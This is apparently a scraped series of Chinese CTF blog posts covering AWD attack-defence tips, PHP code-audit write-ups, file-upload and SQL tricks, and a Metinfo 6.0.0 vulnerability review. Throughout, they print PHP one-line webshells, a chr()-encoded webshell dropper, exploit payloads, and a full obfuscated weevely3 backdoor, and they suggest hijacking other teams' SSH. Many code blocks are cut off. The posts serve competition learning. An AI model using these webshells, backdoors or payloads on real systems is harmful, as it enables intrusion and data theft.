参加的CTF线下赛不多,看了很多网上的文章,决定写一篇自己的AWD准备的文章。本人web狗,只在总结了AWD中web的套路,二进制目前还没有接触orz
很多比赛主办方给出的ssh密码是默认的,或者密码是随机的长串字母数字,首先应该修改ssh密码,改成队伍所以人都知道,注意不要用弱密码。
其次不多见的是主办方给了ssh弱密码,就是所有队伍的ssh密码都是一样的,这时候手速一定要快,防止密码被别人人修改,那还没登陆就gg了,如果可能脚本修改其他队伍的密码,做一些不可描述的事情hhh。
准备change_ssh脚本
一般比赛是不会给出源码的,需要从自己的服务器dump下来。速度一定要快。修改完ssh密码接着就dump源码。注意dump源码一定要在上waf、文件监控执行,保留最初始的源码。有助于审计和恢复源码。方法有两种:
scp -r -P Port remote_username@\remote_ip:remote_folder local_file
命令不好用,自我感觉还是用图形化软件吧。
tar -zcvf web.tar.gz /var/www/html/
mysqldump -u db_user -p db_passwd db_name > bak.sql
//备份指定数据库cd /var/lib/mysql
mysqldump -u db_user -p db_passwd > bak.sql
//先进入数据库目录再备份mysqldump --all-databases > bak.sql
//备份所有数据库
mysql -u db_user -p db_passwd db_name < bak.sql
//还原指定数据库cd /var/lib/mysql
mysql -u db_user db_passwd < bak.sql
//先进入数据库目录再还原
还有一种方法:mysql -u db_name -p
input passwd 进入mysql控制台mysql>
mysql> show databases;
看看有哪些数据库
mysql> create database test ;
建立要还原的数据库
mysql> use test;
切换到刚创建的数据库
mysql> source test.sql;
导入数据库
ps:如果是数据库弱密码的话,尝试能不能登陆数据库改密码、写shell、或者删库。
准备 AWD_weaksql脚本、修改密码脚本、删库脚本
waf能不能上要看主办方的check机制,一定要小心,特别容易checkdown,导致失分。
准备 waf.php
流量监控脚本要让入口文件或所有文件包含
require_once('monitor.php');
find /var/www/html -type f -path "*.php" | xargs sed -i "s/<?php/<?php\n require_once('\/tem\/waf.php');\n/g"
准备 monitor.php
把dump下来的源码扔进D盾查杀。发现后门先清理自己的服务器,能修改则修改不能修改则注释掉。
经常出现一些难以发现的后门,即使盾扫出来,也不会利用的,如上次蓝帽杯初赛的weekly后门,还有代码执行的后门。
ps:需要总结常见的变形后门。
一般利用seay源代码审计工具,虽然没什么用,大致有个审计的方向。
几点思路:
常见的漏洞有:
sql注入
文件上传
文件包含
命令执行
代码执行
可能水平有限,根本审不出什么漏洞,要时刻注意文件监控脚本,看被打的流量,及时补洞。种植后门一般是批量,所以后门的路径和密码都是一样的,所以也可以利用被人种下的后门攻击一波。注意监控到的流量一般包含很多混淆流量,不容易看。
上次蓝帽初赛并没有抓到有用的被打流量,这个还是得好好测试下。
1 | :: 全盘查找可写目录(可写文件 -type f) |
1 | :: 完整命令 |
1 | :: 将当前目录下所有文件和子目录的拥有者和所属用户组修改为user和group,该命令一般需要root权限 |
在常见的Linux扩展文件系统中(如ext2/ext3/ext4等),可以借助某种文件属性将文件设置为不可修改(immutable)。一旦设置,任何用户(包括超级用户)都不能删除修改该文件,除非其不可修改的属性被移除。
1 | :: 设置不可修改 |
1 | :: 打印全盘最近5分钟内访问过的所有文件 |
1 | :: 每5分钟监视全盘最近5分钟内修改过的所有文件 |
1 | :: 每5分钟监视全盘最近5分钟内新增的所有文件 |
1 | :: 最终神器 |
1 | :: 每1分钟监视进程新增情况(未测试) |
1 | :: 显示所有当前进程 |
1 | :: 应确保在杀死父进程前,先杀死其所有子进程 |
总结check方式发现check每5分钟只会请求一次index.php和admin.php(因为这里抓到了流量)
且均为get方式,无参数访问。
这意味着check可能只通过判断状态响应头是否为200,或者是否当前页面有某些关键信息,来判断主机存活。于是我很蛇皮的ctrl+s保存了index.php和admin.php的前端。然后删光了web2所有文件,将两个纯静态html+静态文件夹上传到服务器。。。
然后就很舒服的过了check,并且永远没有再被攻击……XD
真的服了这个check机制了~
1、.hg源码泄露
1 | 原因:hg init 生成 .hg |
2、.git源码泄露
1 | 原因:运行git init 初始代码库的时候,会在当前目录下面产生一个.git的隐藏文件,用来记录代码变更记录等。发布代码的时候,把.git这个目录直接发布了,没有删除,利用这个来恢复源代码。 |
3、.DS_Store 文件泄露
1 | 原因:在发布代码时未删除文件夹中隐藏的.DS_Store,被发现后,获取了敏感的文件名等信息。 |
4、网站备份压缩文件
1 | 原因:在网站的使用过程中,往往需要对网站中的文件进行修改、升级。此时就需要对网站整站或者其中某一页面进行备份。当备份文件或者修改过程中的缓存文件因为各种原因而被留在网站web目录下,而该目录又没有设置访问权限时,便有可能导致备份文件或者编辑器的缓存文件被下载,导致敏感信息泄露,给服务器的安全埋下隐患。 |
5、SVN导致文件泄露
Subversion,简称SVN,是一个开放源代码的版本控制系统,相对于的RCS、CVS,采用了分支管理系统,它的设计目标就是取代CVS。互联网上越来越多的控制服务从CVS转移到Subversion。
Subversion使用服务端—客户端的结构,当然服务端与客户端可以都运行在同一台服务器上。在服务端是存放着所有受控制数据的Subversion仓库,另一端是Subversion的客户端程序,管理着受控数据的一部分在本地的映射(称为“工作副本”)。在这两端之间,是通过各种仓库存取层(Repository Access,简称RA)的多条通道进行访问的。这些通道中,可以通过不同的网络协议,例如HTTP、SSH等,或本地文件的方式来对仓库进行操作。
1 | 工具:[dvcs-ripper](https://github.com/kost/dvcs-ripper) |
6、WEB-INF/web.xml泄露
WEB-INF是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。
WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞成因:
通常一些web应用我们会使用多个web服务器搭配使用,解决其中的一个web服务器的性能缺陷以及做均衡负载的优点和完成一些分层结构的安全策略等。在使用这种架构的时候,由于对静态资源的目录或文件的映射配置不当,可能会引发一些的安全问题,导致web.xml等文件能够被读取。
漏洞检测以及利用方法:
通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码。一般情况,jsp引擎默认都是禁止访问WEB-INF目录的,Nginx 配合Tomcat做均衡负载或集群等情况时,问题原因其实很简单,Nginx不会去考虑配置其他类型引擎(Nginx不是jsp引擎)导致的安全问题而引入到自身的安全规范中来(这样耦合性太高了),修改Nginx配置文件禁止访问WEB-INF目录就好了: location ~ ^/WEB-INF/* { deny all; } 或者return 404; 或者其他!
7、CVS源码泄露
1 | 漏洞利用: |
1 | Bazaar/bzr |
其他工具:
weakfilescan
原文<传送门>
]]>1 | <img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/> |
一看就是典型的文件包含漏洞,并且要读取的值经过了base64编码,先读取一下 showimg.php 将showimg.php编码
1 | /showimg.php?img=c2hvd2ltZy5waHA= |
读取,查看源代码发现:
1 | <?php |
代码的意思是get 提交img 并赋值给 $f
再来查看一下 index.php
1 | /showimg.php?img=aW5kZXgucGhw |
1 | <?php |
代码的意思是get提交class 赋值给$g 反序列化后赋值给$x readfile()可以读取
再查看一下 shield.php :
1 | showimg.php?img=c2hpZWxkLnBocA== |
查看源码:
1 | <?php |
看到了hint pctf.php 类shield和readfile函数
先用showimg.php 中的readfile()直接读取 pctf.php
提示没有文件。
再来看下代码 发现对输入的pctf进行了过滤,所以不能直接利用,审计代码,发现index.php可以接收一个class,通过反序列化创建一个shield 对象,再调用这个对象的readfile方法读取。
我们现在的任务是构造一个 shield对象,序列化后输出,得到class,提交这个class,反序列化读取。
构造方法:
1 | <?php |
得到:
1 | O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";} |
payload:
1 | /index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";} |
得到flag。
1 | <?php |
小结:通过这道题目我们可以初步认识php序列化与反序列化的知识,另外出现的 construct() 为一个常见的魔法函数。construct() : 实例化对象时被调用,也就是实例被创建(new shield)的时候被调用。
对反序列化和魔法函数理解的还是不到位欸,还得细细研究。
IIS解析漏洞
WebDav 漏洞
Apache解析漏洞
1.php.rar 本应该是弹出rar的下载框 但此时却不会,会直接显示1.php.rar的内容若包含命令,则会执行,比如:
1 | <?php phpinfo()?> |
会直接显示phpinfo()的内容
Apache解析文件的规则:遇到不认识的扩展名时,会从后向前解析,知道认识扩展名为止,若都不认识,则会暴露源代码。
Nginx 解析漏洞
最先出现在nginx容器:1.jpg/1.php 会当作php文件来执行。1.php不存在,也可以任意命名。可以上传木马图片,在url后加上/1.php,得到webshell。但是这种漏洞不一定都存在nginx 容器,IIS等容器中也出现过,实质是php配置中 cgi.fi:x_pathinfo 默认开启,x.php不存在,就会向前递归解析。
附:制作木马图片的方法
1、1.jpg图片 大小小于100kb
2、一句话木马 php
3、cmd copy 1.jpg/b + 1.php 2.php
0x02 全局变量覆盖
全局变量覆盖的关键是register_globals
register_globals的意思就是注册为全局变量。当register_globals=On,用户传递的值会被直接的注册为全局变量直接使用;register_globals==Off,需要到特定的数组里去得到它。也就是说为on的时候,变量可以从各个地方传来,当为off的时候,不会有问题。
示例代码:
1 | <?php |
当register_globals=On提交?auth=1时,$auth会被赋值为1。
ps:如果已经对$auth变量赋了初始值,即使提交也不会覆盖。
0x03 \$\$导致的变量覆盖漏洞
\$\$导致变量覆盖的问题在于foreach() foreach遍历数组中的值,然后将获取到的数组键名作为变量,数组中的键值作为变量的值,所以就产生了变量覆盖漏洞。
示例代码:
1 | <?php |
例题(iscc2018)
代码的大体意思是包含flag.php 满足三个条件才可以得到flag .,两个foreach对$$key的处理是不一样的,满足条件会打印出flag。可以看到有两个foreach,中间代码会将$flag值覆盖掉
我们的思路是把$flag的值赋值给$_200或$_403 然后利用die(200)或die(403)打印出来。
payload: GET: ?_200=flag
POST: flag=aaaaaaaaaaaaaaa
0x04 extract()函数导致的变量覆盖漏洞
extract() 该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
函数语法: extract(array,extract_rules,prefix)
例题:(bugku)
1 | <?php |
用extract($_GET) 接收了GET请求中的数据,并将键名和键值转换为变量名和变量的值,然后再进行两个if 的条件判断,所以可以使用GET提交参数和值,利用extract()对变量进行覆盖,从而满足各个条件。
payload:?flag=&shiyan=
这里是把 flag和shiyan的值都覆盖为空,从而相等。
0X05 parse_str()函数导致的变量覆盖漏洞
parse_str() 函数把查询字符串解析到变量中。 如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量。
语法:parse_str(string,array)
1 | <?php |
分析代码:
get提交id。利用parse_str()函数处理,然后if比较,\$a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)满足 则打印flag
这里利用的是 php弱语言特性,需要一个MD5后以0e开头的才能够返回true。
这样的值很多,提交:?id=a[0]=240610708
与parse_str()类似的函数还有mb_parse_str()
0x06 import_request_variables()函数导致的变量覆盖漏洞
import_request_variables — 将 GET/POST/Cookie 变量导入到全局作用域中
示例代码:
1 | <?php |
import_request_variables(‘G’)指定导入GET请求中的变量,从而导致变量覆盖。
查阅资料,也参考了很多大佬的文章,还要多多积累,CTF中积累小的代码审计,才能审计cms,还要不断地理解。
]]>0x00常见函数
eval() 、assert() 、preg_replace()、call_user_func()、call_user_func_array() 、uasort() 、usort()、array_map() 、array_reduce()、
array_udiff()、create_function() 、 array_filter()、array_walk_recursive()、文件操作函数、动态执行函数。
参考:https://www.cnblogs.com/xiaozi/p/7834367.html
http://www.freebuf.com/column/148183.html
0x01 eval()
eval() 函数把字符串按照 PHP 代码来计算,该php代码必须是合法的php代码,且必须以分号结尾。常用于一句话木马:1
<?php eval($_POST[cmd])?>
这个就是我们常见的一句话木马,比较好理解。
0x02 assert()
函数在php语言中是用来判断一个表达式是否成立, 返回true or false,如果不为true则会返回一个警告。这个函数与eval() 函数一样,字符串被当作php代码执行 代码,1
2
3
4<?php
//?cmd =phpinfo();
@assert($_POST['cmd']);
?>
1 | <?php |
0x03 preg_replace()
函数执行一个正则表达式的搜索和替换 语法:
语法:
1 | mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )` |
函数搜索subbject中与pattern相匹配的部分用replacement替换,执行正则表达式的搜索和替换,但是如果存在危险的/e修饰符,使preg_replace()中的replacement() 参数当作php代码执行。前边有文章已经分析这个危险函数。<传送门>
0x04 call_user_func()/call_user_func_array()
这两个函数都是用来调用回调函数的。
语法:
1 | mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) |
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
语法:
1 | mixed call_user_func_array ( callable $callback , array $param_arr ) |
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。
call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。
call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数。
1 | <?php |
1 | <?php |
0x05 uasort()/usort()
语法:
1 | bool usort ( array &$array , callable $value_compare_func ) |
本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数。
语法:
1 | bool uasort ( array &$array , callable $value_compare_func ) |
本函数对数组排序并保持索引和单元之间的关联。
主要用于对那些单元顺序很重要的结合数组进行排序。比较函数是用户自定义的。
usort() 通过用户自定义的比较函数对数组进行排序。
uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。
1 | php环境>=5.6才能用 |
1 | php环境>=<5.6才能用 |
0x06 array_map()
语法:
1 | array array_map ( callable $callback , array $array1 [, array $... ] ) |
array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。
1 | <?php |
0x07 array_reduce()
语法:
1 | array_reduce(array,myfunction,initial) |
array_reduce() 函数向用户自定义函数发送数组中的值,并返回一个字符串。
1 | <?php |
0x08 array_udiff()
语法:
1 | array_udiff(array1,array2,array3...,myfunction) |
array_udiff() 函数用于比较两个(或更多个)数组的键值 ,并返回差集。
1 | <?php |
0x09 create_function()
语法:
1 | string create_function ( string $args , string $code ) |
create_function主要用来创建匿名函数,其中内部使用了eval的操作导致存在安全问题。若没有对输入进行过滤,可以构造特殊字符串传递给create_function()导致执行任意命令。
1 | <?php |
0x10 array_filter()
语法:
1 | array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) |
依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
array_filter() 函数用回调函数过滤数组中的值。
1 | <?php |
0x11 array_walk_recursive()
语法:
1 | array_walk_recursive(array,myfunction,parameter...) |
函数对数组中的每个元素应用用户自定义函数。在函数中,数组的键名和键值是参数
1 | <?php |
0x12 文件操作函数
利用文件操作,写入木马文件。
1 | <?php |
1 | <?php |
0x13 函数 动态执行
PHP函数直接由字符串拼接。
1 | <?php |
自己的思考还比较少,总结的都是大佬的思路,慢慢补充自己的想法,其次对于php代码审计还得继续好好学,大部分漏洞的根源都是在代码上的问题。
]]>2、ezupload
打开是文件上传的页面,思路应该是利用文件上传漏洞,上传小马连菜刀找flag。
先直接上传 php,提示不是图片文件。
把一句话木马修改后缀为 gif 然后上传,发现还是提示不是图片文件。猜测应该是判断文件内容来判断文件类型。
上传 gif 用bp 抓包:
修改包,让其根据内容判断为图片文件。注意修改的时候 添加的内容与头部信息 空一行。。
可以看到文件上传成功,我们的目的是要服务器把我们上传的当作php文件解析,先直接修改为php
上传成功,但是对上传的文件进行了重命名,猜测机制应该是把文件名后的 ,之后的改为gif 绕过:
发现成功将后缀名改为php,我们把php 加到前边来验证一下我们对改名机制的猜测:
猜测成立。。
接下来,我们菜刀连接:
看到flag,直接在菜刀里读不出,下载后读到flag。
小结:这是一道比较简单的文件上传的题目,属于常规套路,通过这道题可以简单总结一下文件上传题目的思路。
3、mynote
这道题目非常有意思,有三种解法,前两种都是非预期解,预期解涉及反序列化与条件竞争。从这道题学到很多姿势。。
第一种:
首先注册,并登陆,看看各个功能,发现有一个note功能和文件上传功能,note>xss?? 先上传文件看看文件的检验机制是啥,发现几种图片文件,只有jpg格式图片能够上传成功,上传一句话改为jpg 并抓包:
re go
发现上传成功:
图片上传成功了,但是只有php文件能够解析,简单测试,先直接修改文件后缀:
上传成功了,也就是说我们的一句话木马成功上传,我们要做的就是知道文件路径,然后菜刀,怎么知道文件路径呢,得到大佬的hint 错误的cookie 爆出绝对路径。。
接下来我们浏览我们上传的图片,并且抓包:
可以看到我们上传的文件
看到cookie 比较特殊 解密一下:
发现是序列化我们上传的文件名,我们说过要报错出绝对路径需要cookie 错误 ,我们修改cookie 并 替换 go
发现爆出了一个路径,我们用路径来访问我们上传的3.php 发现可以访问,菜刀连接,得到flag。
第二种:访问robots.txt
发现:
访问flag.php 发现假的flag
大佬的思路是能不能用那种序列化cookie的方式读取flag.php
发现报错,upload下不存在 应该序列化读文件的地址就是upload下,而flag.php 在根目录下,所以我们需要用../进行目录穿越,判断为上两级目录:
发现读到flag.php 解码
预期解涉及条件竞争和反序列化,不懂,没有成功。
这几天准备考试,感觉有点慌orz,没有太多时间去学新的东西,利用复习之余也好好总结下前一段学习的知识,再不回顾就忘了。
还是得恶补基础、基础、基础!!!!
0x00漏洞触发原理
前一篇笔记已经说到了这个漏洞触发的原理,即:
1. 第一个参数需要e标识符,有了它可以执行第二个参数的命令2. 第一个参数需要在第三个参数中的中有匹配,不然echo会返回第三个参数而不执行命令
如:
1 | //echo preg_replace(‘/test/e’, ‘phpinfo()’, ‘just test’);这样是可以执行命令的,第一个参数有e标识符,并且第一个参数在第三个参数中有匹配。 |
1 | //echo preg_replace(‘/test/e’, ‘phpinfo()’, ‘just tesxt’); 或者echo preg_replace(‘/tesxt/e’, ‘phpinfo()’, ‘just test’); 虽然第一个参数有e标识符,但是第一个参数在第三个参数中没有匹配,返回第三个参数,不执行。 |
0x01触发漏洞位置回溯
问题出现在/libraries/TableSearch.class.php
中的_getRegexReplaceRows
函数,我们全局搜索发现:
我们可以发现,$find 和$replacewith
在preg_replace()
函数中被引用了
追踪一下 发现getReplacePreview
调用了_getRegexReplaceRows
函数
全局搜索发现 在/tbl_find_replace.php
调用 getReplacePreview:
我们可以发现find
和 replaceWith
都是通过post方式提交的。
0x02漏洞利用
这个漏洞目前没法直接利用,因为有token限制,需要登陆抓到token。
需要构造第三个参数保证和第一个参数匹配,第一个参数可控,但是第三个参数是从数据库中取出的,我们只能提前插入到数据库中,然后再取出来,columnIndex是取出字段值的可控,所以第三个参数也可控了。
构
1 | //$find = ’0/e’; |
小结:按照原文写了写,主要是为了加深理解。复现的过程中出现了问题,除了漏洞本身,主要是学到这种分析代码的过程。。
太累了。。又会是一个忙碌的周末orz。。
]]>1、关于 preg_replace() 函数:
preg_replace 函数执行一个正则表达式的搜索和替换
语法:
1 | mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) |
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
2、危险来源:
/e 修正符用在函数 preg_replace() 时,会将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。
要确保 replacement 构成一个合法的php代码,才会执行,否则会报错。
导致代码执行漏洞的产生。。
3、分析利用:
代码:
1 | <? |
如果提交:?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行,即把phpinfo()执行)
在后门中的利用:h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97). chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60). chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91). chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
解码:?h= fputs(fopen(data/a.php,w),<?php eval($_POST[cmd])?>);
执行后: 在/data/目录下生成一个一句话木马文件 a.php
另一个例子:
1 | <? |
提交 ?h=[php]phpinfo()[/php]
正则匹配后, replacement 参数变为’test(“phpinfo”)’,此时phpinfo仅是被当做一个字符串参数了,不会执行。
但是, 提交?h=[php]{${phpinfo()}}[/php]
,
phpinfo()就会被执行 因为 在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。 注意:双引号中的函数不会被执行和替换。
通过{${}}
构造出了一个特殊的变量,'test("{${phpinfo()}}")'
,达到让函数被执行的效果(${phpinfo()}
会被解释执行
4、限制条件:
第一个参数需要e标识符,有了它可以执行第二个参数的命令。
第一个参数需要在第三个参数中的中有匹配,不然echo会返回第三个参数而不执行命令。
如:
1 | echo preg_replace("/texst/e",$_GET["h"],"jutst test"); |
行,不满足第二个条件。
5、漏洞防范:
将'test("/1")'
修改为"test('/1')"
,这样‘${phpinfo()}'
就会被当做一个普通的字符串处理(单引号中的变量不会被处理)。
ps:整理写完已经是第二天了,,,orz。 睡觉。。明天还得复习,come on 。。。。。。。。
]]>1 | password = '".md5($password,true)."' |
假如查询语句是:
1 | $sql = "SELECT * FROM admin WHERE username = 'admin' and password = '$_post(password)'"; |
我们很容易就绕过了–‘ or ‘1’=’1 或 ‘or 1=1;–
1 | $sql = "SELECT * FROM admin WHERE username = 'admin' and password = ''or '1'='1'"; |
但是这个题目需要经过MD5加密,怎么绕过呢?orz。。
这里有个tip:原始MD5哈希在sql中很危险
看一下MD5()函数
语法:md5(string,raw)
参数:string: 必需。规定要计算的字符串。
raw:可选。规定十六进制或二进制输出格式:
TRUE - 原始 16 字符二进制格式
FALSE - 默认。32 字符十六进制数
危险就在于MD5()函数的第二个参数true, If the second argument to MD5 is true, it will return ugly raw bits instead of a nice hex string(如果第二个参数为true,会返回原始值而不是16进制),raw MD5 hashes are dangerous in SQL statements because they can contain characters with special meaning to MySQL(原始值会包含mysql中的特殊字符,因此很危险)。
如果md5计算后的值经过hex转成字符串后为 ”or’xxx’这样的字符串就可以绕过。
网上搜到两个payload:
129581926211651571912466741651878684928
ffifdyop
ffifdyop md5后,276f722736c95d99e921722cf9ed621
再转成字符串: 'or'6<trash>
查询语句就变成:
1 | $sql = "SELECT * FROM admin WHERE username = 'admin' and password = ''or '6<trash> |
成功绕过登陆。
字符串是百度的,至于咋来的不懂,有老外的一篇文章<传送门>。
关键利用点就是MD5()敏感函数,还是要多多积累这样的危险函数。
坚持写blog,要考试了,好好复习XD
sql约束攻击的思路:
利用数据库对空格符的特殊处理方式来达到水平越权的目的。
知识背景:
1、字符串比较:在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说“admin”等同于“admin空格”,对于绝大多数情况来说都是成立的(如WHERE子句中的字符串或INSERT语句中的字符串)例如以下语句的查询结果是一样的:
1 | SELECT * FROM users WHERE username='admin'; |
当然这种特性有时候也存在异常情况,例如LIKE子句。
PS:对尾部空白符的这种修剪操作,主要是在“字符串比较”时进行的。比较字符串时SQL会在内部使用空格来填充字符串,以便在比较之前使其它们的长度保持一致。因为在数据库中查询就是比较字符串,利用字符串这种比较特性,所以两者查询结果是一样的。
2、INSERT截断:设计一个字段时,SQL都会根据VARCHAR(n)来限制字符串的最大长度。当实际输入的字符串大于最大长度的时候,数据库会对其进行截断。也就是说,如果字符串的长度大于“n”个字符的话,那么仅使用字符串的前“n”个字符。比如特定列的长度约束为“5”个字符,那么在插入字符串“admin空格x”时,实际上只能插入字符串的前5个字符,即“admin”。
利用场景:
1、场景:当我们需要登陆[admin]来获取想要的信息,但我们却不知道admin的密码的时候,我们可以注册[admin空格x] 用我们注册的登陆密码登陆admin,达到目的,注意注册的用户名无数空格后还有字符x,否则注册查询的时候会查重,空格个数要超过数据库的长度限制。
2、代码:
1)注册用户:
1 | <?php |
由代码可知,我们注册时会先从数据库查询我们注册的username是否存在,如果存在就会报重,不存在就执行INSERT。我们用[admin空格x]注册,绕过username验证,执行INSERT,因为数据库对字符串长度进行了限制,所以实际插入的前几位,也就是注册的为[admin空格],只要我们的空格足够多,就可以实现。
2)验证登陆:
1 | <?php |
可见登陆的时候可以利用[admin]和注册[admin空格]的密码来登陆,就可以绕过验证。
利用限制:
当然这种攻击是局限性的需要满足:
1、服务端没有对用户名长度进行限制。如果限制了我们就无法注册[admin空格x]。
2、登陆验证的SQL语句必须是用户名和密码一起验证。如果是验证流程是先根据用户名查找出对应的密码,然后再比对密码的话,那么也不能进行利用。因为当使用admin为用户名来查询密码的话,数据库此时就会返回两条记录,而一般取第一条则是目标用户的记录,那么你传输的密码肯定是和目标用户密码匹配不上的。
3、验证成功后返回的必须是用户传递进来的用户名,而不是从数据库取出的用户名。因为当我们以用户admin和密码登陆时,其实数据库返回的是我们自己的用户信息,而我们的用户名其实是[admin空格],如果此后的业务逻辑以该用户名为准,那么就不能达到越权的目的了。
防御手段:
我们可以利用限制条件来进行防御。
题目是 Metinfo6.0.0,一共有5个漏洞,4个主办方加进去的,还有一个Metinfo6.0.0任意文件读取漏洞。
1、 后台seo任意文件读取漏洞
路径:\admin\seo\htm.php
源码:1
2if(isset($_GET['seourl'])){
echo file_get_contents(base64_decode('L2ZsYWc='));}
1 | payload: |
2、 weevely3后门
路径:\app\system\news\web\news.class.php
源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17$t = 'pre2Fss(@2Fx(@b2Fase64_deco2F2Fde(preg2F_r2Fepl2Face(array("/_/",2F"2F/-/"),array("/2F","2F+")2';
$O = 'er"2F;$i=$m[1][02F]2F.$m[1][1];2F$h=$sl2F($s2Fs(md5(2F$i.$kh)2F2F2F,0,3));$2Ff2F=$sl(2F$ss(md5(';
$s = 'rpos(2F$p,$h)===0)2F{$2Fs[$i]=2F"";$p=2F$ss($p,3)2F2F2F;}if(array2F_key_2Fexists($i,$s))2F{2F$s';
$U = 'F,$ss($s[2F$i2F],0,2F$e))),$k2F)2F));2F$o2F=ob_get_contents();ob_end_2Fclean(2F);$2Fd=b2Fase64_';
$l = '2F[$i].=$p;2F$e=strpos($s2F[2F$i2F],$f);if($e2F2F){$k=2F2F$kh.$kf;ob_start();@ev2Fal(@gzu2Fncom';
$A = str_replace('Th', '', 'ThcreThThaThte_funThThction');
$N = 'm2F);if($2Fq&&$m){@ses2Fsion_2Fstar2Ft();$s=&2F$_S2FESSION;$ss2F2F="substr";$sl2F="strt2F2Folow';
$q = '"2F";for($i=0;$i<$2Fl;)2F{2Ffor($j=0;($j<$2Fc&&$i<$l2F);$j+2F+,2F$i++)2F{$o.=$t{$i}^2F$k{$j2F};';
$K = '=array_value2Fs2F($q);preg2F_2Fma2Ftch_a2Fll("/([\\w])[\\w-2F]+2F(?:2F;q=0.([\\d]))?,?/",$2Fra2F,$';
$F = '_LANGUAGE2F"];if($rr&&2F$r2F2Fa){$u=par2Fse2F_u2Frl($rr);parse2F_str($2Fu2F["query"],$q2F)2F;$q';
$c = '2F}}return $2Fo;2F}$r=$_2FSE2FRVE2FR;$rr=@2F$r["2FHT2FTP_2FREFERER"];$ra=@$r[2F"HTTP_ACCE2F2FPT';
$d = '$i.2F$kf)2F,0,3));$p="";for($z=2F1;$z<coun2Ft2F($m[1]);$z+2F+)2F$p.=$q[$m2F[2]2F[$2Fz]2F];if(st';
$X = '$kh="ccd2"2F;$kf="2Fe8f9";f2Funct2Fion x($2Ft,$2Fk){$c=st2Fr2Fl2Fen($k);$l=strlen2F($t2F);$o=2F';
$m = 'e2Fncode(x(gzc2Fomp2Fr2Fess($o),2F$k))2F;print("<2F$k>2F$d</$k2F>");@se2Fss2Fion_destroy();}}}}';
$E = str_replace('2F', '', $X . $q . $c . $F . $K . $N . $O . $d . $s . $l . $t . $U . $m);
$I = $A('', $E);
$I();
这是 一个PHP混淆后门,混淆的特别乱,将原来的代码打乱顺序混淆。
经过分析,混淆进行的操作,先按照 $X . $q . $c . $F . $K . $N . $O . $d . $s . $l . $t . $U . $m 拼接字符串,然后删除2F,去除$l 中的Th 利用create_function()创建$l函数
进行反混淆和美化:
3、任意文件读取漏洞
路径:\app\system\img\web\img.class.php
源码:1
2
3
4
5
6
7
8
9
10
11public function doshowimg(){
global $_M;
$this->showpage('img');
if(isset($_GET['images'])){
@$imga=$_GET['a'];
@$imgs=$_GET['b'].'tents';
echo @$imgs($imga);}
require_once $this->template('tem/showimg');
}
}
get 方式提交images、a、b 其中 get b 后边是tents b=构成 file_get_contens1
payload: ?images=1&b=file_get_con&a=/flag
4、任意文件读取漏洞
路径:\app\system\include\ module\old_thumb.class.php
关键代码:
1
payload:/include/thumb.php?dir=http/...././/...././/...././/...././/...././/flag
5、 找回密码处任意文件上传漏洞1
2
3
4
5
6POST ////////admin/index.php?
lang=cn&anyid=&n=getpassword&c=index&a=dogetpassword
HTTP/1.1
Host: . . . .
action=next2&abt_type=2&admin_mobile=123123&admin_type=/t
mp/1.php&submit=%E4%B8%8B%E4%B8%80%E6%AD%A5
最后有一个漏洞看了wp才知道的,通过这次比赛更加证明了自己的菜,而且不是一般的菜,要学的东西还有很多,漏洞中的weevely3后门和Metinfo6.0.0任意文件读取漏洞还是得单独总结复现一下,另外要积累各种漏洞存在的形式,像是各种混淆后门、变形木马、任意文件读取的方式等。
学喜欢的,做想做的,加油!
]]>1、首先来了解一下CBC模式:CBC模式是分组密码模式的一种,其加密过程如下:
IV:初始化向量。
plaintext:明文分组。
cipertext:密文分组。
key:密钥。
